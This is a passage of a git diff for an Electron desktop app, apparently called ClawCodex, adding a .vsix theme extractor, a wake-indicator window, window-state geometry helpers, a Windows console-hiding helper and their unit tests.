+        installs: Math.round(installStat?.value ?? 0)
+      }
+    })
+}
+
+// ─── Minimal zip reader ─────────────────────────────────────────────────────
+
+function findEndOfCentralDirectory(buf) {
+  // EOCD signature 0x06054b50, scanning back from the end (comment is rare).
+  for (let i = buf.length - 22; i >= 0; i--) {
+    if (buf.readUInt32LE(i) === 0x06054b50) {
+      return i
+    }
+  }
+
+  throw new Error('Not a valid zip archive (no end-of-central-directory).')
+}
+
+/** Parse the central directory into a name → record map. */
+function readCentralDirectory(buf) {
+  const eocd = findEndOfCentralDirectory(buf)
+  const count = buf.readUInt16LE(eocd + 10)
+  let offset = buf.readUInt32LE(eocd + 16)
+  const records = new Map()
+
+  for (let i = 0; i < count; i++) {
+    if (buf.readUInt32LE(offset) !== 0x02014b50) {
+      break
+    }
+
+    const method = buf.readUInt16LE(offset + 10)
+    const compressedSize = buf.readUInt32LE(offset + 20)
+    const nameLen = buf.readUInt16LE(offset + 28)
+    const extraLen = buf.readUInt16LE(offset + 30)
+    const commentLen = buf.readUInt16LE(offset + 32)
+    const localOffset = buf.readUInt32LE(offset + 42)
+    const name = buf.toString('utf8', offset + 46, offset + 46 + nameLen)
+
+    records.set(name, { method, compressedSize, localOffset })
+    offset += 46 + nameLen + extraLen + commentLen
+  }
+
+  return records
+}
+
+/** Inflate a single entry to a string. */
+function extractEntry(buf, record) {
+  // The local header's name/extra lengths can differ from the central record,
+  // so re-read them here to locate the compressed payload.
+  if (buf.readUInt32LE(record.localOffset) !== 0x04034b50) {
+    throw new Error('Corrupt zip: bad local file header.')
+  }
+
+  const nameLen = buf.readUInt16LE(record.localOffset + 26)
+  const extraLen = buf.readUInt16LE(record.localOffset + 28)
+  const dataStart = record.localOffset + 30 + nameLen + extraLen
+  const data = buf.subarray(dataStart, dataStart + record.compressedSize)
+
+  // 0 = stored, 8 = deflate. Theme files are one or the other.
+  return record.method === 0 ? data.toString('utf8') : zlib.inflateRawSync(data).toString('utf8')
+}
+
+/** Normalize a package.json theme path to its zip entry name. */
+function themeEntryName(themePath) {
+  const clean = String(themePath).replace(/^\.\//, '').replace(/^\//, '')
+
+  return `extension/${clean}`
+}
+
+/** Extract every contributed color theme from a `.vsix` buffer. */
+function extractThemes(vsixBuffer) {
+  const records = readCentralDirectory(vsixBuffer)
+  const pkgRecord = records.get('extension/package.json')
+
+  if (!pkgRecord) {
+    throw new Error('Package manifest missing from the extension.')
+  }
+
+  const pkg = JSON.parse(extractEntry(vsixBuffer, pkgRecord))
+  const contributed = pkg?.contributes?.themes
+
+  if (!Array.isArray(contributed) || contributed.length === 0) {
+    return []
+  }
+
+  const themes = []
+
+  for (const entry of contributed) {
+    if (!entry?.path) {
+      continue
+    }
+
+    const record = records.get(themeEntryName(entry.path))
+
+    if (!record) {
+      continue
+    }
+
+    try {
+      themes.push({
+        label: entry.label || entry.id || pkg.displayName || pkg.name || 'VS Code Theme',
+        uiTheme: entry.uiTheme,
+        contents: extractEntry(vsixBuffer, record)
+      })
+    } catch {
+      // Skip an entry we can't inflate rather than failing the whole install.
+    }
+  }
+
+  return themes
+}
+
+/**
+ * Public entry: resolve, download, and extract color themes for `id`
+ * (`publisher.extension`). Returns `{ extensionId, displayName, themes }`.
+ */
+async function fetchMarketplaceThemes(id) {
+  const trimmed = String(id || '').trim()
+
+  if (!ID_RE.test(trimmed)) {
+    throw new Error('Expected a Marketplace id like "publisher.extension".')
+  }
+
+  const { displayName, vsixUrl } = await resolveExtension(trimmed)
+  const vsix = await request(vsixUrl, { headers: { 'User-Agent': 'ClawCodex-Desktop' } })
+  const themes = extractThemes(vsix)
+
+  return { extensionId: trimmed, displayName, themes }
+}
+
+const __testing = { themeEntryName, looksLikeIconTheme }
+
+export { __testing, extractThemes, fetchMarketplaceThemes, readCentralDirectory, searchMarketplaceThemes }
diff --git a/ui-desktop/electron/wake-indicator-window.ts b/ui-desktop/electron/wake-indicator-window.ts
new file mode 100644
index 000000000..696cbf904
--- /dev/null
+++ b/ui-desktop/electron/wake-indicator-window.ts
@@ -0,0 +1,174 @@
+import { pathToFileURL } from 'node:url'
+
+import { BrowserWindow, screen } from 'electron'
+
+import {
+  normalizeWakeIndicatorState,
+  selectWakeIndicatorDisplay,
+  WAKE_INDICATOR_FADE_MS,
+  type WakeIndicatorState,
+  wakeIndicatorWindowBounds
+} from './wake-indicator'
+
+interface WakeIndicatorWindowOptions {
+  devServer?: string
+  isMac: boolean
+  loadWindowUrl: (window: BrowserWindow, url: string, label: string) => void
+  preloadPath: string
+  rendererIndex: () => string
+  wireWindow: (window: BrowserWindow) => void
+}
+
+export function createWakeIndicatorWindowController({
+  devServer,
+  isMac,
+  loadWindowUrl,
+  preloadPath,
+  rendererIndex,
+  wireWindow
+}: WakeIndicatorWindowOptions) {
+  let hideTimer: NodeJS.Timeout | null = null
+  let state: WakeIndicatorState = 'hidden'
+  let window: BrowserWindow | null = null
+
+  const url = () => {
+    if (devServer) {
+      return `${devServer.endsWith('/') ? devServer.slice(0, -1) : devServer}/?win=wake#/`
+    }
+
+    return `${pathToFileURL(rendererIndex()).toString()}?win=wake#/`
+  }
+
+  const selectedDisplay = () => selectWakeIndicatorDisplay(screen.getAllDisplays(), screen.getPrimaryDisplay())
+
+  const reposition = () => {
+    if (!window || window.isDestroyed()) {
+      return
+    }
+
+    window.setBounds(wakeIndicatorWindowBounds(selectedDisplay()))
+  }
+
+  const sendState = () => {
+    if (!window || window.isDestroyed()) {
+      return
+    }
+
+    window.webContents.send('clawcodex:wake-indicator:state', state)
+  }
+
+  const spawn = () => {
+    const next = new BrowserWindow({
+      ...wakeIndicatorWindowBounds(selectedDisplay()),
+      alwaysOnTop: true,
+      backgroundColor: '#00000000',
+      focusable: false,
+      frame: false,
+      fullscreenable: false,
+      hasShadow: false,
+      hiddenInMissionControl: true,
+      maximizable: false,
+      minimizable: false,
+      movable: false,
+      resizable: false,
+      show: false,
+      skipTaskbar: false,
+      transparent: true,
+      type: 'panel',
+      webPreferences: {
+        backgroundThrottling: false,
+        contextIsolation: true,
+        devTools: true,
+        nodeIntegration: false,
+        preload: preloadPath,
+        sandbox: true
+      }
+    })
+
+    next.setAlwaysOnTop(true, 'floating')
+    next.setHiddenInMissionControl?.(true)
+    next.setIgnoreMouseEvents(true, { forward: true })
+
+    try {
+      next.setVisibleOnAllWorkspaces(true, {
+        skipTransformProcessType: true,
+        visibleOnFullScreen: true
+      })
+    } catch {
+      // Best effort on older Electron/macOS combinations.
+    }
+
+    wireWindow(next)
+
+    next.webContents.on('did-finish-load', sendState)
+    next.once('ready-to-show', () => {
+      if (!next.isDestroyed() && state !== 'hidden') {
+        next.showInactive()
+      }
+    })
+    next.on('closed', () => {
+      if (window === next) {
+        window = null
+      }
+    })
+
+    loadWindowUrl(next, url(), 'Wake indicator')
+
+    return next
+  }
+
+  const setState = (value: unknown) => {
+    if (!isMac) {
+      return
+    }
+
+    state = normalizeWakeIndicatorState(value)
+
+    if (hideTimer) {
+      clearTimeout(hideTimer)
+      hideTimer = null
+    }
+
+    if (state === 'hidden') {
+      sendState()
+      hideTimer = setTimeout(() => {
+        hideTimer = null
+
+        if (state === 'hidden' && window && !window.isDestroyed()) {
+          window.hide()
+        }
+      }, WAKE_INDICATOR_FADE_MS)
+
+      return
+    }
+
+    if (!window || window.isDestroyed()) {
+      window = spawn()
+    } else {
+      reposition()
+      sendState()
+      window.showInactive()
+    }
+  }
+
+  const close = () => {
+    if (hideTimer) {
+      clearTimeout(hideTimer)
+      hideTimer = null
+    }
+
+    if (window && !window.isDestroyed()) {
+      window.close()
+    }
+
+    window = null
+    state = 'hidden'
+  }
+
+  return {
+    close,
+    getState: () => state,
+    reposition,
+    setState
+  }
+}
diff --git a/ui-desktop/electron/wake-indicator.test.ts b/ui-desktop/electron/wake-indicator.test.ts
new file mode 100644
index 000000000..433a9ca23
--- /dev/null
+++ b/ui-desktop/electron/wake-indicator.test.ts
@@ -0,0 +1,143 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { normalizeWakeIndicatorState, selectWakeIndicatorDisplay, wakeIndicatorWindowBounds } from './wake-indicator'
+import { createWakeIndicatorWindowController } from './wake-indicator-window'
+
+const electronMock = vi.hoisted(() => {
+  type Listener = () => void
+
+  class FakeBrowserWindow {
+    private destroyed = false
+    private readonly listeners = new Map<string, Listener[]>()
+
+    readonly close = vi.fn(() => {
+      this.destroyed = true
+      this.emit('closed')
+    })
+    readonly hide = vi.fn()
+    readonly setAlwaysOnTop = vi.fn()
+    readonly setBounds = vi.fn()
+    readonly setHiddenInMissionControl = vi.fn()
+    readonly setIgnoreMouseEvents = vi.fn()
+    readonly setVisibleOnAllWorkspaces = vi.fn()
+    readonly showInactive = vi.fn()
+    readonly webContents = {
+      on: vi.fn(),
+      send: vi.fn()
+    }
+
+    constructor(readonly options: unknown) {
+      windows.push(this)
+    }
+
+    isDestroyed() {
+      return this.destroyed
+    }
+
+    on(event: string, listener: Listener) {
+      const listeners = this.listeners.get(event) ?? []
+      listeners.push(listener)
+      this.listeners.set(event, listeners)
+
+      return this
+    }
+
+    once(event: string, listener: Listener) {
+      return this.on(event, listener)
+    }
+
+    private emit(event: string) {
+      for (const listener of this.listeners.get(event) ?? []) {
+        listener()
+      }
+    }
+  }
+
+  const windows: FakeBrowserWindow[] = []
+
+  const display = {
+    bounds: { height: 982, width: 1512, x: 0, y: 0 },
+    id: 'internal',
+    internal: true
+  }
+
+  return {
+    BrowserWindow: FakeBrowserWindow,
+    screen: {
+      getAllDisplays: () => [display],
+      getPrimaryDisplay: () => display
+    },
+    windows
+  }
+})
+
+vi.mock('electron', () => ({
+  BrowserWindow: electronMock.BrowserWindow,
+  screen: electronMock.screen
+}))
+
+beforeEach(() => {
+  electronMock.windows.length = 0
+})
+
+describe('wake indicator window', () => {
+  it('centers the helper window at the top of the selected display', () => {
+    expect(
+      wakeIndicatorWindowBounds({
+        bounds: { height: 982, width: 1512, x: -120, y: 40 }
+      })
+    ).toEqual({
+      height: 52,
+      width: 176,
+      x: 548,
+      y: 40
+    })
+  })
+
+  it('prefers the internal display and falls back to the primary display', () => {
+    const primary = {
+      bounds: { height: 1080, width: 1920, x: 0, y: 0 },
+      id: 'primary',
+      internal: false
+    }
+
+    const internal = {
+      bounds: { height: 982, width: 1512, x: 1920, y: 0 },
+      id: 'internal',
+      internal: true
+    }
+
+    expect(selectWakeIndicatorDisplay([primary, internal], primary)).toBe(internal)
+
+    expect(selectWakeIndicatorDisplay([primary], primary)).toBe(primary)
+  })
+
+  it('rejects unknown renderer states', () => {
+    expect(normalizeWakeIndicatorState('capturing')).toBe('capturing')
+    expect(normalizeWakeIndicatorState('other')).toBe('hidden')
+    expect(normalizeWakeIndicatorState(null)).toBe('hidden')
+  })
+})
+
+describe('wake indicator window controller', () => {
+  it('closes an active helper window and resets its state', () => {
+    const controller = createWakeIndicatorWindowController({
+      isMac: true,
+      loadWindowUrl: vi.fn(),
+      preloadPath: '/tmp/preload.cjs',
+      rendererIndex: () => '/tmp/index.html',
+      wireWindow: vi.fn()
+    })
+
+    controller.setState('detected')
+
+    expect(electronMock.windows).toHaveLength(1)
+    expect(controller.getState()).toBe('detected')
+
+    const [window] = electronMock.windows
+    controller.close()
+
+    expect(window.close).toHaveBeenCalledOnce()
+    expect(controller.getState()).toBe('hidden')
+  })
+})
diff --git a/ui-desktop/electron/wake-indicator.ts b/ui-desktop/electron/wake-indicator.ts
new file mode 100644
index 000000000..bf9567264
--- /dev/null
+++ b/ui-desktop/electron/wake-indicator.ts
@@ -0,0 +1,34 @@
+export const WAKE_INDICATOR_WINDOW_WIDTH = 176
+export const WAKE_INDICATOR_WINDOW_HEIGHT = 52
+export const WAKE_INDICATOR_FADE_MS = 500
+
+export const WAKE_INDICATOR_STATES = ['hidden', 'detected', 'capturing'] as const
+
+export type WakeIndicatorState = (typeof WAKE_INDICATOR_STATES)[number]
+
+interface DisplayLike {
+  bounds: {
+    height: number
+    width: number
+    x: number
+    y: number
+  }
+  internal?: boolean
+}
+
+export function normalizeWakeIndicatorState(value: unknown): WakeIndicatorState {
+  return WAKE_INDICATOR_STATES.includes(value as WakeIndicatorState) ? (value as WakeIndicatorState) : 'hidden'
+}
+
+export function selectWakeIndicatorDisplay<T extends DisplayLike>(displays: T[], primary: T): T {
+  return displays.find(display => display.internal === true) ?? primary
+}
+
+export function wakeIndicatorWindowBounds(display: DisplayLike) {
+  return {
+    height: WAKE_INDICATOR_WINDOW_HEIGHT,
+    width: WAKE_INDICATOR_WINDOW_WIDTH,
+    x: Math.round(display.bounds.x + (display.bounds.width - WAKE_INDICATOR_WINDOW_WIDTH) / 2),
+    y: Math.round(display.bounds.y)
+  }
+}
diff --git a/ui-desktop/electron/window-state.test.ts b/ui-desktop/electron/window-state.test.ts
new file mode 100644
index 000000000..40c8fe179
--- /dev/null
+++ b/ui-desktop/electron/window-state.test.ts
@@ -0,0 +1,157 @@
+/**
+ * Unit tests for the pure window-state geometry helpers. These cover the logic
+ * that protects the user: garbage rejection, off-screen fallback, oversized
+ * clamping, and the debounce that collapses mid-drag write storms.
+ */
+
+import assert from 'node:assert/strict'
+
+import { test, vi } from 'vitest'
+
+import {
+  computeWindowOptions,
+  debounce,
+  DEFAULT_HEIGHT,
+  DEFAULT_WIDTH,
+  MIN_HEIGHT,
+  MIN_WIDTH,
+  onScreen,
+  sanitizeWindowState
+} from './window-state'
+
+// A single 1920×1080 monitor (work area trimmed for the taskbar).
+const PRIMARY = [{ workArea: { x: 0, y: 0, width: 1920, height: 1040 } }]
+// A laptop panel left behind after a bigger external monitor is unplugged.
+const LAPTOP = [{ workArea: { x: 0, y: 0, width: 1366, height: 728 } }]
+
+// ─── sanitizeWindowState ───────────────────────────────────────────────────
+
+test('sanitizeWindowState rejects missing/garbage input', () => {
+  for (const bad of [
+    null,
+    undefined,
+    'nope',
+    42,
+    {},
+    { width: 'x', height: 800 },
+    { width: NaN, height: 800 },
+    { width: 1000 }
+  ]) {
+    assert.equal(sanitizeWindowState(bad), null)
+  }
+})
+
+test('sanitizeWindowState keeps a valid full state and rounds HiDPI fractions', () => {
+  assert.deepEqual(sanitizeWindowState({ x: 100.6, y: 50.2, width: 1400.4, height: 900.7, isMaximized: true }), {
+    x: 101,
+    y: 50,
+    width: 1400,
+    height: 901,
+    isMaximized: true
+  })
+})
+
+test('sanitizeWindowState floors size to the minimums', () => {
+  const state = sanitizeWindowState({ width: 10, height: 10 })
+  assert.equal(state.width, MIN_WIDTH)
+  assert.equal(state.height, MIN_HEIGHT)
+})
+
+test('sanitizeWindowState drops a partial position but keeps the size', () => {
+  assert.deepEqual(sanitizeWindowState({ x: 100, width: 1400, height: 900 }), {
+    width: 1400,
+    height: 900,
+    isMaximized: false
+  })
+})
+
+test('sanitizeWindowState treats isMaximized strictly', () => {
+  assert.equal(sanitizeWindowState({ width: 1400, height: 900, isMaximized: 'yes' }).isMaximized, false)
+})
+
+// ─── onScreen ──────────────────────────────────────────────────────────────
+
+test('onScreen accepts a window on the primary or a secondary display', () => {
+  const dual = [...PRIMARY, { workArea: { x: 1920, y: 0, width: 2560, height: 1400 } }]
+  assert.equal(onScreen({ x: 100, y: 100, width: 1220, height: 800 }, PRIMARY), true)
+  assert.equal(onScreen({ x: 2200, y: 200, width: 1220, height: 800 }, dual), true)
+})
+
+test('onScreen rejects off-screen, slivers, and bad input', () => {
+  assert.equal(onScreen({ x: 3000, y: 100, width: 1220, height: 800 }, PRIMARY), false) // past right edge
+  assert.equal(onScreen({ x: 100, y: -900, width: 1220, height: 800 }, PRIMARY), false) // above top
+  assert.equal(onScreen({ x: 1910, y: 100, width: 1220, height: 800 }, PRIMARY), false) // ~10px sliver
+  assert.equal(onScreen({ x: 0, y: 0, width: 1220, height: 800 }, []), false)
+  assert.equal(onScreen({ x: 0, y: 0, width: 1220, height: 800 }, null), false)
+})
+
+// ─── computeWindowOptions ──────────────────────────────────────────────────
+
+test('computeWindowOptions falls back to defaults with no saved state', () => {
+  assert.deepEqual(computeWindowOptions(null, PRIMARY), { width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT })
+})
+
+test('computeWindowOptions restores an on-screen position', () => {
+  const saved = sanitizeWindowState({ x: 200, y: 150, width: 1400, height: 900 })
+  assert.deepEqual(computeWindowOptions(saved, PRIMARY), { width: 1400, height: 900, x: 200, y: 150 })
+})
+
+test('computeWindowOptions keeps the size but drops an off-screen position', () => {
+  const saved = sanitizeWindowState({ x: 5000, y: 150, width: 1400, height: 900 })
+  assert.deepEqual(computeWindowOptions(saved, PRIMARY), { width: 1400, height: 900 })
+})
+
+test('computeWindowOptions clamps a size larger than the only display', () => {
+  const saved = sanitizeWindowState({ width: 2560, height: 1440 })
+  assert.deepEqual(computeWindowOptions(saved, LAPTOP), { width: 1366, height: 728 })
+})
+
+test('computeWindowOptions keeps the MIN floor on a sub-minimum display', () => {
+  const tiny = [{ workArea: { x: 0, y: 0, width: 360, height: 480 } }]
+  const saved = sanitizeWindowState({ width: 2000, height: 1500 })
+  assert.deepEqual(computeWindowOptions(saved, tiny), { width: MIN_WIDTH, height: MIN_HEIGHT })
+})
+
+test('computeWindowOptions does not clamp when displays are unknown', () => {
+  const saved = sanitizeWindowState({ width: 2560, height: 1440 })
+  assert.deepEqual(computeWindowOptions(saved, []), { width: 2560, height: 1440 })
+})
+
+// ─── debounce ──────────────────────────────────────────────────────────────
+
+test('debounce coalesces a burst into one trailing run', () => {
+  vi.useFakeTimers()
+  let calls = 0
+
+  const d = debounce(() => {
+    calls += 1
+  }, 250)
+
+  d()
+  d()
+  d()
+  assert.equal(calls, 0)
+  vi.advanceTimersByTime(249)
+  assert.equal(calls, 0)
+  vi.advanceTimersByTime(1)
+  assert.equal(calls, 1)
+
+  vi.useRealTimers()
+})
+
+test('debounce.flush runs now and cancels the pending timer', () => {
+  vi.useFakeTimers()
+  let calls = 0
+
+  const d = debounce(() => {
+    calls += 1
+  }, 250)
+
+  d()
+  d.flush()
+  assert.equal(calls, 1)
+  vi.advanceTimersByTime(1000)
+  assert.equal(calls, 1)
+
+  vi.useRealTimers()
+})
diff --git a/ui-desktop/electron/window-state.ts b/ui-desktop/electron/window-state.ts
new file mode 100644
index 000000000..56510e882
--- /dev/null
+++ b/ui-desktop/electron/window-state.ts
@@ -0,0 +1,148 @@
+/**
+ * Pure geometry helpers for window-state.json — restoring the main window's
+ * size, position, and maximized flag across launches. Side-effect-free so the
+ * part that actually matters (rejecting garbage + off-screen bounds) is
+ * unit-testable without booting Electron; main.ts owns the file I/O and the
+ * live `screen` displays.
+ */
+
+// Defaults mirror the historical hardcoded BrowserWindow size; MIN_* mirror its
+// minWidth/minHeight so a restored size never undershoots what the live window
+// allows. A fresh install (no saved state) is byte-identical to before.
+const DEFAULT_WIDTH = 1220
+const DEFAULT_HEIGHT = 800
+const MIN_WIDTH = 400
+const MIN_HEIGHT = 620
+
+// Keep at least this much of the window over a display work area before we trust
+// a saved position, so the title bar stays grabbable after a monitor unplugs.
+const MIN_VISIBLE = 48
+
+const finite = v => typeof v === 'number' && Number.isFinite(v)
+const clamp = (v, lo, hi) => Math.max(lo, Math.min(v, hi))
+
+interface SanitizedWindowState {
+  width: number
+  height: number
+  isMaximized: boolean
+  x?: number
+  y?: number
+}
+
+// Parse raw JSON → clean state, or null if garbage. width/height are required
+// and floored; x/y survive only as a finite pair; isMaximized is strict.
+function sanitizeWindowState(raw?: any): SanitizedWindowState | null {
+  if (!raw || typeof raw !== 'object' || !finite(raw.width) || !finite(raw.height)) {
+    return null
+  }
+
+  const state: SanitizedWindowState = {
+    width: Math.max(MIN_WIDTH, Math.round(raw.width)),
+    height: Math.max(MIN_HEIGHT, Math.round(raw.height)),
+    isMaximized: raw.isMaximized === true
+  }
+
+  if (finite(raw.x) && finite(raw.y)) {
+    state.x = Math.round(raw.x)
+    state.y = Math.round(raw.y)
+  }
+
+  return state
+}
+
+// True when `bounds` overlaps some display's work area by ≥ MIN_VISIBLE on both
+// axes. `displays` is Electron's screen.getAllDisplays() shape.
+function onScreen(bounds, displays) {
+  if (!Array.isArray(displays)) {
+    return false
+  }
+
+  return displays.some(({ workArea: a } = {}) => {
+    if (!a) {
+      return false
+    }
+
+    const x = Math.min(bounds.x + bounds.width, a.x + a.width) - Math.max(bounds.x, a.x)
+    const y = Math.min(bounds.y + bounds.height, a.y + a.height) - Math.max(bounds.y, a.y)
+
+    return x >= MIN_VISIBLE && y >= MIN_VISIBLE
+  })
+}
+
+interface WindowOptions {
+  width: number
+  height: number
+  x?: number
+  y?: number
+}
+
+// Sanitized state (or null) → BrowserWindow size/position options. Always sets
+// width/height, capped to the largest current display so a size saved on a
+// since-disconnected bigger monitor can't exceed any screen the user now has.
+// Sets x/y only when still on-screen; otherwise Electron centers the window.
+function computeWindowOptions(state, displays): WindowOptions {
+  const opts: WindowOptions = {
+    width: finite(state?.width) ? state.width : DEFAULT_WIDTH,
+    height: finite(state?.height) ? state.height : DEFAULT_HEIGHT
+  }
+
+  const cap = (Array.isArray(displays) ? displays : []).reduce(
+    (m, { workArea: a } = {}) =>
+      a && finite(a.width) && finite(a.height)
+        ? { width: Math.max(m.width, a.width), height: Math.max(m.height, a.height) }
+        : m,
+    { width: 0, height: 0 }
+  )
+
+  if (cap.width && cap.height) {
+    opts.width = clamp(opts.width, MIN_WIDTH, cap.width)
+    opts.height = clamp(opts.height, MIN_HEIGHT, cap.height)
+  }
+
+  if (
+    state &&
+    finite(state.x) &&
+    finite(state.y) &&
+    onScreen({ x: state.x, y: state.y, width: opts.width, height: opts.height }, displays)
+  ) {
+    opts.x = state.x
+    opts.y = state.y
+  }
+
+  return opts
+}
+
+// Trailing debounce: collapse a burst of resize/move events (Linux fires many
+// mid-drag) into a single run `delayMs` after the last. `.flush()` runs now and
+// cancels the pending timer — used on close, before the window is gone.
+function debounce(fn, delayMs) {
+  let timer = null
+
+  const debounced = () => {
+    clearTimeout(timer)
+    timer = setTimeout(() => {
+      timer = null
+      fn()
+    }, delayMs)
+  }
+
+  debounced.flush = () => {
+    clearTimeout(timer)
+    timer = null
+    fn()
+  }
+
+  return debounced
+}
+
+export {
+  computeWindowOptions,
+  debounce,
+  DEFAULT_HEIGHT,
+  DEFAULT_WIDTH,
+  MIN_HEIGHT,
+  MIN_VISIBLE,
+  MIN_WIDTH,
+  onScreen,
+  sanitizeWindowState
+}
diff --git a/ui-desktop/electron/windows-child-options.test.ts b/ui-desktop/electron/windows-child-options.test.ts
new file mode 100644
index 000000000..33fcac357
--- /dev/null
+++ b/ui-desktop/electron/windows-child-options.test.ts
@@ -0,0 +1,132 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { stopBackendChild } from './backend-child'
+import { hiddenWindowsChildOptions } from './windows-child-options'
+
+test('hiddenWindowsChildOptions adds windowsHide:true on Windows when unset', () => {
+  assert.deepEqual(hiddenWindowsChildOptions({}, true), { windowsHide: true })
+})
+
+test('hiddenWindowsChildOptions preserves an existing windowsHide:false on Windows', () => {
+  assert.deepEqual(hiddenWindowsChildOptions({ windowsHide: false }, true), { windowsHide: false })
+})
+
+test('hiddenWindowsChildOptions preserves an existing windowsHide:true on Windows', () => {
+  assert.deepEqual(hiddenWindowsChildOptions({ windowsHide: true }, true), { windowsHide: true })
+})
+
+test('hiddenWindowsChildOptions leaves options unchanged off Windows', () => {
+  assert.deepEqual(hiddenWindowsChildOptions({}, false), {})
+  assert.deepEqual(hiddenWindowsChildOptions({ stdio: 'ignore' }, false), { stdio: 'ignore' })
+})
+
+test('hiddenWindowsChildOptions merges windowsHide alongside other options on Windows', () => {
+  assert.deepEqual(hiddenWindowsChildOptions({ encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }, true), {
+    encoding: 'utf8',
+    stdio: ['ignore', 'pipe', 'ignore'],
+    windowsHide: true
+  })
+})
+
+test('hiddenWindowsChildOptions defaults isWindows from process.platform when omitted', () => {
+  const result = hiddenWindowsChildOptions({})
+  const expectedHide = process.platform === 'win32'
+
+  assert.equal(Boolean(result.windowsHide), expectedHide)
+})
+
+function makeChild(overrides: Partial<{ pid: number | null; killed: boolean }> = {}) {
+  const calls: string[] = []
+
+  return {
+    calls,
+    child: {
+      kill: (signal: string) => {
+        calls.push(signal)
+      },
+      killed: overrides.killed ?? false,
+      pid: 'pid' in overrides ? overrides.pid : 1234
+    }
+  }
+}
+
+test('stopBackendChild tree-kills on Windows when the child has a pid', () => {
+  const { child, calls } = makeChild({ pid: 4242 })
+  const treeKillCalls: number[] = []
+
+  stopBackendChild(child, {
+    forceKillProcessTree: (pid: number) => treeKillCalls.push(pid),
+    isWindows: true
+  })
+
+  assert.deepEqual(treeKillCalls, [4242])
+  assert.deepEqual(calls, [], 'SIGTERM must not be sent when the Windows tree-kill path is taken')
+})
+
+test('stopBackendChild sends SIGTERM on non-Windows platforms', () => {
+  const { child, calls } = makeChild({ pid: 4242 })
+  const treeKillCalls: number[] = []
+
+  stopBackendChild(child, {
+    forceKillProcessTree: (pid: number) => treeKillCalls.push(pid),
+    isWindows: false
+  })
+
+  assert.deepEqual(calls, ['SIGTERM'])
+  assert.deepEqual(treeKillCalls, [], 'tree-kill must not run off Windows')
+})
+
+test('stopBackendChild falls back to SIGTERM on Windows when the pid is not an integer', () => {
+  const { child, calls } = makeChild({ pid: null })
+  const treeKillCalls: number[] = []
+
+  stopBackendChild(child, {
+    forceKillProcessTree: (pid: number) => treeKillCalls.push(pid),
+    isWindows: true
+  })
+
+  assert.deepEqual(calls, ['SIGTERM'])
+  assert.deepEqual(treeKillCalls, [])
+})
+
+test('stopBackendChild is a no-op for an already-killed child', () => {
+  const { child, calls } = makeChild({ killed: true })
+  const treeKillCalls: number[] = []
+
+  stopBackendChild(child, {
+    forceKillProcessTree: (pid: number) => treeKillCalls.push(pid),
+    isWindows: true
+  })
+
+  assert.deepEqual(calls, [])
+  assert.deepEqual(treeKillCalls, [])
+})
+
+test('stopBackendChild is a no-op for a null/undefined child', () => {
+  const treeKillCalls: number[] = []
+
+  assert.doesNotThrow(() => {
+    stopBackendChild(null, { forceKillProcessTree: (pid: number) => treeKillCalls.push(pid), isWindows: true })
+    stopBackendChild(undefined, { forceKillProcessTree: (pid: number) => treeKillCalls.push(pid), isWindows: true })
+  })
+  assert.deepEqual(treeKillCalls, [])
+})
+
+test('stopBackendChild swallows errors thrown by the kill strategy', () => {
+  const child = {
+    kill: () => {
+      throw new Error('ESRCH: no such process')
+    },
+    killed: false,
+    pid: 99
+  }
+
+  assert.doesNotThrow(() => {
+    stopBackendChild(child, {
+      forceKillProcessTree: () => {},
+      isWindows: false
+    })
+  })
+})
diff --git a/ui-desktop/electron/windows-child-options.ts b/ui-desktop/electron/windows-child-options.ts
new file mode 100644
index 000000000..547136bad
--- /dev/null
+++ b/ui-desktop/electron/windows-child-options.ts
@@ -0,0 +1,37 @@
+/**
+ * windows-child-options.ts
+ *
+ * Shared helper for opting Windows child processes (spawn/execFileSync) into
+ * a hidden console. Windows spawns a visible console window per child by
+ * default; every desktop-launched helper process (git, curl, taskkill, the
+ * backend itself, the bootstrap PowerShell runner, ...) needs `windowsHide:
+ * true` so the user doesn't see consoles flashing on screen.
+ *
+ * Extracted into its own dependency-free module (no electron import) so it
+ * can be unit-tested directly for both platforms without reading source
+ * text, and so main.ts and bootstrap-runner.ts share exactly one
+ * implementation instead of each defining their own copy.
+ */
+
+import type { ExecFileSyncOptionsWithStringEncoding } from 'node:child_process'
+
+/**
+ * Merge `windowsHide: true` into `options` when running on Windows, unless
+ * the caller already specified a `windowsHide` value (which is preserved
+ * as-is, including an explicit `false` for cases that intentionally want a
+ * visible/interactive console). No-op on non-Windows platforms.
+ *
+ * @param options - spawn/execFileSync options to (possibly) augment.
+ * @param isWindows - defaults to the real platform check; injectable for
+ *   tests so both branches can be exercised without mocking process.platform.
+ */
+export function hiddenWindowsChildOptions(
+  options: any = {},
+  isWindows: boolean = process.platform === 'win32'
+): ExecFileSyncOptionsWithStringEncoding {
+  if (!isWindows || Object.prototype.hasOwnProperty.call(options, 'windowsHide')) {
+    return options as any
+  }
+
+  return { ...options, windowsHide: true } as any
+}
diff --git a/ui-desktop/electron/windows-clawcodex-path.test.ts b/ui-desktop/electron/windows-clawcodex-path.test.ts
new file mode 100644
index 000000000..a59ca1303
--- /dev/null
+++ b/ui-desktop/electron/windows-clawcodex-path.test.ts
@@ -0,0 +1,214 @@
+// Unit tests for the pure Windows `clawcodex` resolution helpers extracted from
+// main.ts's findOnPath(), handOffWindowsBootstrapRecovery(), and
+// unwrapWindowsVenvClawCodexCommand(). These pin the two Windows resolution bugs
+// that caused desktop reinstall loops:
+//   1. buildPathExtCandidates() — PATHEXT extensions must be tried BEFORE the
+//      empty extension, or an extensionless Git-Bash `clawcodex` shim shadows
+//      the real clawcodex.cmd/clawcodex.exe.
+//   2. chooseUpdaterArgs() — must gate on haveRealInstall (any real-install
+//      signal), not just the clawcodex.exe console-script shim, or healthy
+//      installs get forced into a destructive --repair.
+//   3. resolveVenvClawCodexCommand() — must probe the venv python via
+//      canImportClawCodexCli() before trusting it, or a broken venv gets
+//      re-selected forever instead of falling through to bootstrap.
+
+import assert from 'node:assert/strict'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  buildPathExtCandidates,
+  chooseUpdaterArgs,
+  getVenvSitePackagesEntries,
+  resolveVenvClawCodexCommand
+} from './windows-clawcodex-path'
+
+test('buildPathExtCandidates: Windows tries PATHEXT extensions before the empty extension', () => {
+  const extensions = buildPathExtCandidates('.COM;.EXE;.BAT;.CMD', true)
+
+  assert.deepEqual(extensions, ['.COM', '.EXE', '.BAT', '.CMD', ''])
